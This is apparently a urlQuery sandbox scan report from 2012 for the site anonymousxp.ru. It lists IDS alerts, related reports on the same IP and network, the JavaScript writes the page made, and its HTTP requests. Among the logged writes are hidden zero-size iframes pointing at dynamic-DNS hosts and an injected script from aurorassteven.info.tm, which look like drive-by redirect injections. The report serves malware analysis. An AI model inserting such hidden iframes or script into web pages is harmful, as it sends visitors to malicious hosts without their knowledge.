Overview

URLhttp://anonymousxp.ru/
IP193.109.247.67
ASNAS29076 Citytelecom.ru
Location Virgin Islands, British
Report completed2012-11-03 09:11:23 CET
StatusLoading report..
urlQuery Alerts Detected a Dynamic DNS URL


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-03 09:10:55 urlQuery Client Internal IP2ET CURRENT_EVENTS DNS Query to a .tk domain - Likely Hostile
2012-11-03 09:10:55 urlQuery Client Internal IP2ET CURRENT_EVENTS DNS Query to a .tk domain - Likely Hostile
2012-11-03 09:11:06 193.109.247.67 urlQuery Client3FILEMAGIC Macromedia Flash data (compressed),
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 193.109.247.67

Date Alerts / IDS URL IP
2013-03-27 16:24:241 / 0http://softzons.ucoz.ru/load/soft/1193.109.247.67
2013-03-27 16:24:191 / 0http://softlavka.ucoz.ru/load/soft/1193.109.247.67
2013-03-27 16:24:141 / 0http://softinwork.ucoz.ru/load/mobila/12193.109.247.67
2013-03-27 16:24:121 / 0http://softonga.ucoz.ru/193.109.247.67
2013-03-27 13:50:551 / 2http://www.studiomdg.ru/stuff/otechestvennye/oboroten_v_pogonakh_2012/8-1-0-18193.109.247.67
2013-03-27 12:55:051 / 2http://here-css.at.ua/publ/interesno/mody/4-1-0-7193.109.247.67

Last 6 reports on ASN: AS29076 Citytelecom.ru

Date Alerts / IDS URL IP
2012-12-08 10:49:341 / 2http://www.d3-wiki.ru/news/gde_farmit_opyt_i_magicheskie_predmety_v_diablo_3/2012-06-03-178193.109.247.62
2012-12-08 10:11:141 / 6http://evila-saya.ucoz.org/193.109.247.73
2012-12-08 09:45:262 / 0http://www.energops.com/89.188.101.74
2012-12-08 08:01:231 / 5http://freebonus.my1.ru/bonus.html193.109.247.68
2012-12-08 07:47:251 / 0http://existencea-anno.ucoz.org/193.109.247.73
2012-12-08 07:14:402 / 0http://www.energops.com/index.php/2010-09-19-08-07-03/2010-09-19-09-51-04/2011-03-02-12-17-4889.188.101.74

Last 2 reports on domain: anonymousxp.ru

Date Alerts / IDS URL IP
2012-11-03 09:11:181 / 7http://anonymousxp.ru/193.109.247.67
2012-11-03 07:23:521 / 11http://anonymousxp.ru/193.109.247.67



JavaScript

Executed Scripts (31)


Executed Evals (0)


Executed Writes (12)

#1 JavaScript::Write (size: 13, repeated: 1) 

>1@>5 CB@>,

#2 JavaScript::Write (size: 172, repeated: 1) 

</div>    </div></div><script type="text/javascript">document.getElementById("adBaravEJk5").style.height=document.getElementById("adTextavEJk5").offsetHeight+"px";</script>

#3 JavaScript::Write (size: 257, repeated: 1) 

<a href='http://www.liveinternet.ru/click' target=_blank><img src='//counter.yadro.ru/hit?t44.6;rhttp%3A//anonymousxp.ru/;s1176*885*24;uhttp%3A//s476upolikop.changeip.name/;0.4722543221975929' alt='' title='LiveInternet' border='0' width='0' height='0'></a>

#4 JavaScript::Write (size: 115, repeated: 1) 

<div style="display:none;"><iframe src="http://s476upolikop.changeip.name" width="190" height="250"></iframe></div>

#5 JavaScript::Write (size: 143, repeated: 1) 

<div style="display:none;"><iframe src="http://ural-motiop.changeip.name/3)2*6*0?*+508-7**405*6*7*0*+" width="190" height="250"></iframe></div>

#6 JavaScript::Write (size: 744, repeated: 1) 

<input type="hidden" id="bannerXavEJk5" value="-1"><input type="hidden" id="bannerYavEJk5" value="22"><div id="adTextaAS9Tm3T" style="height:22px;border-bottom: 1px outset;"><a href="http://games.ucoz.ru/mmog/uk/BiteFight.html" target="_blank" style="display:block;font-family:Arial,Tahoma;width:98%;height:22px;color:#CC3300;font-size:11px;padding-left:10px;line-height:22px;background:#F6F6F6;text-decoration:none !important"><b style="border-bottom:1px dotted #999;">Free online game</b><span style="color:#000;">&nbsp;&nbsp;&nbsp;[&nbsp;<span style="border-bottom:1px dotted #FF9F88;">Vampires and werewolves: For centuries an eternal battle for supremacy of the shadows has raged. Which side will you choose?</span>&nbsp;]</span></a></div>

#7 JavaScript::Write (size: 1945, repeated: 1) 

<input type="hidden" id="wrapperXavEJk5" value="0"><input type="hidden" id="wrapperYavEJk5" value="0"><style type="text/css">.cAdBavEJk5 {z-index:9000;position:absolute;top:0;left:0;width:100%} div > div.cAdBavEJk5 {position:fixed;} #adTextavEJk5 {position:absolute;top:0;left:0;width:100%;line-height:22px;background:#FFFFFF;}</style><!--[if gte IE 5.5]><![if lt IE 9]><style type="text/css">div#aBarVavEJk5 {width:expression(((ignoreMe=(document.documentElement.clientWidth?document.documentElement.clientWidth:document.body.clientWidth))<200?200:ignoreMe)+"px");position:absolute;top:expression((ignoreMe2=document.documentElement.scrollTop?document.documentElement.scrollTop:document.body.scrollTop)+"px");left:expression((ignoreMe=document.documentElement.scrollLeft?document.documentElement.scrollLeft:document.body.scrollLeft)+"px");}</style><![endif]><![endif]--><div id="adBaravEJk5">    <div class="cAdBavEJk5" id="aBarVavEJk5">	<div id="uzcrsite" style="position:absolute;z-index:9001;right:30px;top:2px;"><a href="javascript://" onclick="window.open('http://www.ucoz.net/?uz=12137');return false;" style="display:block;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;font-size:11px;border:1px solid #999;padding:1px 5px;text-decoration:none !important;color:#000;background:#FFF url('http://s67.ucoz.net/img/icon/home.png') no-repeat left 0; padding-left:18px;margin-left:2px;font-family:Arial,Tahoma;line-height:14px;">Create a Website</a></div>	<div style="position:absolute;z-index:9001;right:5px;top:4px;"><a href="javascript://" onclick="document.getElementById('adBaravEJk5').style.display='none';window.parent.document.getElementById('iFavEJk5').style.display='none';return false;"><img alt="" id="clobutavEJk5" title="Close" align="absmiddle" src="http://s67.ucoz.net/img/bn/clo2.gif" style="border:0;width:14px;height:14px"></a></div>	<div id="adTextavEJk5" style="height:22px;border-bottom: 1px outset;">

#8 JavaScript::Write (size: 344, repeated: 1) 

<object allowScriptAccess="always" type="application/x-shockwave-flash" width="187" height="200" data="/.s/flash/tagcloud.swf?tcolor=0xFFFFFF&hicolor=0xFFFFFF"><param name="movie" value="/.s/flash/tagcloud.swf?tcolor=0xFFFFFF&hicolor=0xFFFFFF" /><param name="allowScriptAccess" value="always"/><param name="wmode" value="transparent"/></object>

#9 JavaScript::Write (size: 299, repeated: 1) 

<object type="application/x-shockwave-flash" width="425" height="350" data="http://youtube.com/v/cO0YLv7BxzE?&fs=1" allowFullScreen="true"><param name="movie" value="http://youtube.com/v/cO0YLv7BxzE?&fs=1"/><param name="wmode" value="transparent"/><param name=allowFullScreen value="true"/></object>

#10 JavaScript::Write (size: 75, repeated: 1) 

<script src="http://aurorassteven.info.tm/js/lo.php?id=1170&ref="></script>

#11 JavaScript::Write (size: 81, repeated: 1) 

<script type="text/javascript" src="http://u-mrx.addflow.ru/ads/w3f.js"></script>

#12 JavaScript::Write (size: 81, repeated: 1) 

<script type="text/javascript" src="http://u-mrx.addflow.ru/ads/w3h.js"></script>


HTTP Transactions (54)


Request Response 
GET / HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:50 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Content-Encoding: gzip
GET /code/98f492945 HTTP/1.1

Host: uarzjw.gercatar.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=utf-8

Server: nginx/1.2.3
Date: Sat, 03 Nov 2012 08:10:50 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.16
GET /hit;ucoznet?r;s1176*885*24;uhttp%3A//anonymousxp.ru/;0.1393271565854568 HTTP/1.1

Host: counter.yadro.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Date: Sat, 03 Nov 2012 08:10:50 GMT
Server: 0W/0.8c
Location: http://counter.yadro.ru/hit;ucoznet?q;r;s1176*885*24;uhttp%3A//anonymousxp.ru/;0.1393271565854568
Content-Length: 32
Expires: Thu, 03 Nov 2011 20:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;UNI&quot;
Set-Cookie: FTID=1GbD6A01aRn2; path=/; expires=Sat, 02 Nov 2013 20:00:00 GMT; domain=.yadro.ru
GET /widget/?44;187|200|1 HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Cache-Control: private
Content-Encoding: gzip
GET /hit;ucoznet?q;r;s1176*885*24;uhttp%3A//anonymousxp.ru/;0.1393271565854568 HTTP/1.1

Host: counter.yadro.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
Cookie: FTID=1GbD6A01aRn2
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Sat, 03 Nov 2012 08:10:50 GMT
Server: 0W/0.8c
Connection: Close
Content-Length: 43
Expires: Thu, 03 Nov 2011 20:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;UNI&quot;
Set-Cookie: VID=3FDBss1_Szn2; path=/; expires=Sat, 02 Nov 2013 20:00:00 GMT; domain=.yadro.ru
GET /src/ulightbox/ulightbox.css HTTP/1.1

Host: s67.ucoz.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/css

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Last-Modified: Tue, 09 Oct 2012 21:48:18 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Expires: Tue, 13 Nov 2012 08:10:51 GMT
Cache-Control: max-age=864000
Content-Encoding: gzip
GET /_st/my.css HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/css

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Last-Modified: Sat, 06 Oct 2012 09:34:45 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Content-Encoding: gzip
GET /src/ulightbox/ulightbox.js HTTP/1.1

Host: s67.ucoz.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/javascript

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Last-Modified: Tue, 09 Oct 2012 21:48:18 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Expires: Tue, 13 Nov 2012 08:10:51 GMT
Cache-Control: max-age=864000
Content-Encoding: gzip
GET /ucoz/1/1/dialog-warning.png HTTP/1.1

Host: joomla.ucoz.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:50 GMT
Content-Length: 1391
Last-Modified: Sat, 11 Feb 2012 17:27:04 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;4f36a4e8-56f&quot;
Accept-Ranges: bytes
GET /images/checked_v1.gif HTTP/1.1

Host: antivirus-alarm.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: nginx/1.1.19
Date: Sat, 03 Nov 2012 08:10:51 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.10-1ubuntu3.2
Set-Cookie: aauid=97fa7cc26bd5c3a808ccf8ad45ea8999; expires=Thu, 03-Nov-2022 18:18:31 GMT; path=/; domain=.antivirus-alarm.ru
Cache-Control: no-cache, must-revalidate
Expires: Sat, 26 Jul 1997 05:00:00 GMT
GET /src/layer6.css HTTP/1.1

Host: s67.ucoz.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/css

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Last-Modified: Thu, 29 Mar 2012 12:38:47 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Expires: Tue, 13 Nov 2012 08:10:51 GMT
Cache-Control: max-age=864000
Content-Encoding: gzip
GET /to_top.gif HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 1232
Last-Modified: Sat, 06 Oct 2012 09:02:58 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;506ff3c2-4d0&quot;
Accept-Ranges: bytes
GET /jquery.scroll.pack.js HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/javascript

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Last-Modified: Sat, 06 Oct 2012 09:02:58 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Content-Encoding: gzip
GET /metrika/watch.js HTTP/1.1

Host: mc.yandex.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Sat, 03 Nov 2012 08:10:50 GMT
Server: Phantom/0.0.0
P3P: CP=&quot;NOI DEVa TAIa OUR BUS UNI STA&quot;
Last-Modified: Fri, 19 Oct 2012 12:23:05 GMT
Content-Encoding: gzip
Expires: Sat, 03 Nov 2012 09:10:50 GMT
Content-Length: 15878
GET /js/cufon.js HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/javascript

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Last-Modified: Sat, 06 Oct 2012 08:14:59 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Content-Encoding: gzip
GET /bbcodes/mail_6447.png HTTP/1.1

Host: anonymousxp.ucoz.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 1218
Last-Modified: Wed, 03 Oct 2012 10:58:15 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;506c1a47-4c2&quot;
Accept-Ranges: bytes
GET /stat/1351930244 HTTP/1.1

Host: anonymousxp.ucoz.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Cache-Control: no-cache, no-store, private
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
GET /media/?t=video;w=425;h=350;f=http%3A//www.youtube.com/watch%3Fv%3DcO0YLv7BxzE%26feature%3Dplayer_embedded HTTP/1.1

Host: anonymousxp.ucoz.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Cache-Control: private
Content-Encoding: gzip
GET /1.js HTTP/1.1

Host: i1ii.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Sat, 03 Nov 2012 08:10:51 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;86-5094a897-40b019f&quot;
Last-Modified: Sat, 03 Nov 2012 05:16:07 GMT
Content-Length: 134
GET /i152/0811/94/7504f641ae8e.png HTTP/1.1

Host: s56.radikal.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: image/png

Cache-Control: max-age=31536000
Last-Modified: Sat, 22 Nov 2008 21:23:37 GMT
Accept-Ranges: bytes
Etag: &quot;6dfe594e84cc91:0&quot;
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
x-RadikalServer: S56
Date: Sat, 03 Nov 2012 08:10:50 GMT
Connection: close
Content-Length: 9821
GET /src/jquery-1.7.2.js HTTP/1.1

Host: s67.ucoz.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/javascript

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Last-Modified: Tue, 26 Jun 2012 12:09:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Expires: Tue, 13 Nov 2012 08:10:51 GMT
Cache-Control: max-age=864000
Content-Encoding: gzip
GET /js/font.js HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/javascript

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Last-Modified: Sat, 06 Oct 2012 08:15:00 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Content-Encoding: gzip
GET /src/uwnd.js?2 HTTP/1.1

Host: s67.ucoz.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/javascript

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Last-Modified: Tue, 02 Oct 2012 09:00:00 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Expires: Tue, 13 Nov 2012 08:10:51 GMT
Cache-Control: max-age=864000
Content-Encoding: gzip
GET /js/lo.php?id=1170&ref= HTTP/1.1

Host: aurorassteven.info.tm
GET /js/lo.php?id=1170&amp;ref= HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=utf-8

Server: nginx/1.2.3
Date: Sat, 03 Nov 2012 08:10:51 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.16
GET /abnl/?begun=1&l=US&u0=US%7CavEJk5%7Cleft%7Cs67 HTTP/1.1

Host: anonymousxp.ru
GET /abnl/?begun=1&amp;l=US&amp;u0=US%7CavEJk5%7Cleft%7Cs67 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Cache-Control: no-cache, no-store, private
Pragma: no-cache
Content-Encoding: gzip
GET /mchat/ HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Last-Modified: Sat, 03 Nov 2012 07:57:13 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Cache-Control: no-cache
Pragma: no-cache
Content-Encoding: gzip
GET /images/titl.png HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/_st/my.css
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 310
Last-Modified: Sat, 06 Oct 2012 08:14:57 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;506fe881-136&quot;
Accept-Ranges: bytes
GET /images/search.png HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
